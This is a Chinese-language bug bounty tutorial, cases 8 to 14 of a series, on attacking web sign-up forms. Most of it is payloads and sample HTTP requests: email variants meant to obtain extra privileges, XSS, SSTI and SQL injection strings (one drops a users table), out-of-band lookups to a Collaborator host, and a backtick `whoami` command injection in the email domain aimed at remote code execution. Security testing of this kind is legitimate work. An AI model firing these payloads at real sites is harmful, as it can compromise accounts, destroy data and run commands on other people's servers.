赏金猎人系列-如何测试注册(Sign up)功能以及相关Tips

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正文

本文承接前文赏金猎人系列-如何测试注册(Sign up)功能,继续梳理注册功能的测试流程,相关文章还有:

第八种情况

注册的时候尝试利用带有空格的公司邮箱地址来注册,比方说: "[e-mail] "(注意:com后面有一个空格)

可能会发现一些意向不到的情况(可能会发现有额外的权限)

 
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded 
Referer: https://previous.com/path
Origin: https://www.company.com 
Content-Length: Number
firstname=I&lastname=am&email=[e-mail] &password=*****&captcha=Random&token=CSRF

第九种情况

注册公司邮件的时候尝试用大写的邮件,例如[e-mail],可能获取额外的权限或获得更多的功能

 
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded 
Referer: https://previous.com/path
Origin: https://www.company.com 
Content-Length: Number

firstname=I&lastname=am&email=[e-mail] &password=*****&captcha=Random&token=CSRF

第十种情况

邮件写成以下形式,你可能会有意想不到的发现:

[e-mail]@company.com 
me+(@gmail.com)@company.com 
"[e-mail]"@company.com
"<[e-mail]>"@company.com 
"[e-mail];"@company.com 
"[e-mail]+"@company.com

第十一种情况

和上面tips类似,将gmail用googlemail.com 来替代

[e-mail]@company.com 
me+(@googlemail.com)@company.com 
"[e-mail]"@company.com
"<[e-mail]>"@company.com
 "[e-mail];"@company.com
"[e-mail]+"@company.com

第十二种情况

尝试使用以下payload,看是否能造成xss,ssti或者sqli

me+(<script>alert(0)</script>)@gmail.com 
me(<script>alert(0)</script>)@gmail.com 
me@gmail(<script>alert(0)</script>).com 
"<script>alert(0)</script>"@gmail.com 
"<%= 7 * 7 %>"@gmail.com 
me+(${{7*7}})@gmail.com
"' OR 1=1 -- '"@gmail.com
"me); DROP TABLE users;--"@gmail.com 
[e-mail]

第十三种情况

尝试用以下payload获取后台信息或者内部IPs

[e-mail] 
me@[id.collaborator.net] 
user(;[e-mail])@gmail.com 
[e-mail](@gmail.com)
 me+(@gmail.com)@id.collaborator.net 
 <[e-mail]>[e-mail]

第十四种情况

有时候系统在发送之前会ping你的主机,可以尝试利用带有注入系统命令的Burp Collaborator的邮件地址来实现rce

如下所示

 
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded 
Origin: https://www.company.com 
Content-Length: Number

firstname=I&lastname=am&email=me@`whoami`.id.collaborat or.net&password=********&captcha=Random&token=CSRF

参考

http://sphinx.mythic-beasts.com/~pdw/cgi-bin/emailvalidate

https://www.youtube.com/watch?v=cThFNXrBYQU

https://www.youtube.com/watch?v=cbJ4NSYsUto

https://dimazarno.medium.com/bypassing-email-filter-which-leads-to-sql-injection-e57bcbfc6b17

https://nathandavison.com/blog/exploiting-email-address-parsing-with-aws-ses